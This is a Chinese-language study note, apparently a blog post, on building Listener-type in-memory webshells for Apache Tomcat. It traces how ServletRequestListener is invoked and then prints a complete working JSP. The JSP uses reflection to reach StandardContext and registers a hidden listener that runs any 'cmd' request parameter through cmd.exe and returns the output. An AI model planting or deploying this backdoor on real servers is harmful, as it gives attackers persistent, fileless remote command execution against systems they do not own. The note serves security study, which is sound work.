前言

上次总结了Java内存马的Filter类型。今天来总结下Listen类型

我们知道监听器的过程:Listener -> Filter -> Servlet

Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:

  • ServletContext,服务器启动和终止时触发
  • Session,有关Session操作时触发
  • Request,访问服务时触发

其中前两种都不适合作为内存Webshell,因为涉及到服务器的启动跟停止,或者是Session的建立跟销毁,目光就聚集到第三种对于请求的监听上面,其中最适合作为Webshell的要数ServletRequestListener,因为我们可以拿到每次请求的的事件:ServletRequestEvent,通过其中的getServletRequest()函数就可以拿到本次请求的request对象,从而加入我们的恶意逻辑 。

Listener的实现和类型

Tomcat使用两类Listener接口分别是org.apache.catalina.LifecycleListener和原生Java.util.EvenListener。

Java内存马学习笔记-Listen - 图1

Java内存马学习笔记-Listen - 图2

我们发现原生的EventListener有好多继承接口

Java内存马学习笔记-Listen - 图3

我们看一下ServletRequestListener

Java内存马学习笔记-Listen - 图4

ServletRequestListener用于监听ServletRequest的生成和销毁,也就是当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法。继续看,在哪个环节,什么时候,哪个地方会调用监听器。

Java内存马学习笔记-Listen - 图5

StandardHostValve调用context.fireRequestInitEvent(request.getRequest()),进而调用ServletRequestListener

然后我们跟进fireRequestInitEvent这里生成了ServletRequestListener对象,遍历调用listener.requestInitialized(event);这里的requestInitialized(event);就是我们上面ServletRequestListener接口实现的方法

Java内存马学习笔记-Listen - 图6

经过上面的分析,只要Tomcat执行到StandardHostValve#invoke()时,获取存储在StandardContext.ApplicationEventListeners中的监听器,并遍历调用listener#requestInitialized()
那注入listener马,我们只需要新建一个继承ServletRequestLisner接口的监听器并在requestInitialized方法中实现我们想要的任意功能,然后将该实例添加到StandardContext的ApplicationEventListeners变量就大功告成了。

简单实现一下Listener

  1. public class TestListener implements ServletRequestListener {
  2. @Override
  3. public void requestDestroyed(ServletRequestEvent sre) {
  4. System.out.println("destroy TestListener");
  5. }
  6. @Override
  7. public void requestInitialized(ServletRequestEvent sre) {
  8. System.out.println("initial TestListener");
  9. }
  10. }

在web.xml中

  1. <listener>
  2. <listener-class>listener.TestListener</listener-class>
  3. </listener>

Java内存马学习笔记-Listen - 图7

从这里可以看到调用栈。就是我们刚才分析的过程。

我们看一下如何添加listener

Java内存马学习笔记-Listen - 图8

Java内存马学习笔记-Listen - 图9

所以如何添加listener,可以看到在StandardContext#addApplicationEventListener添加了

Java内存马学习笔记-Listen - 图10

因此我们不难想到通过反射调用StandardContext#addApplicationEventListener方法,add我们自己写的恶意listener

内存马

  1. <%@ page import="org.apache.catalina.core.StandardContext" %>
  2. <%@ page import="java.lang.reflect.Field" %>
  3. <%@ page import="org.apache.catalina.connector.Request" %>
  4. <%@ page import="java.io.InputStream" %>
  5. <%@ page import="java.util.Scanner" %>
  6. <%@ page import="java.io.IOException" %>
  7. <%!
  8. public class MyListener implements ServletRequestListener {
  9. public void requestDestroyed(ServletRequestEvent sre) {
  10. HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
  11. if (req.getParameter("cmd") != null){
  12. InputStream in = null;
  13. try {
  14. in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
  15. Scanner s = new Scanner(in).useDelimiter("\\A");
  16. String out = s.hasNext()?s.next():"";
  17. Field requestF = req.getClass().getDeclaredField("request");
  18. requestF.setAccessible(true);
  19. Request request = (Request)requestF.get(req);
  20. request.getResponse().getWriter().write(out);
  21. }
  22. catch (IOException e) {}
  23. catch (NoSuchFieldException e) {}
  24. catch (IllegalAccessException e) {}
  25. }
  26. }
  27. public void requestInitialized(ServletRequestEvent sre) {}
  28. }
  29. %>
  30. <%
  31. Field reqF = request.getClass().getDeclaredField("request");
  32. reqF.setAccessible(true);
  33. Request req = (Request) reqF.get(request);
  34. StandardContext context = (StandardContext) req.getContext();
  35. MyListener listenerDemo = new MyListener();
  36. context.addApplicationEventListener(listenerDemo);
  37. %>

Java内存马学习笔记-Listen - 图11

参考:https://www.anquanke.com/post/id/226769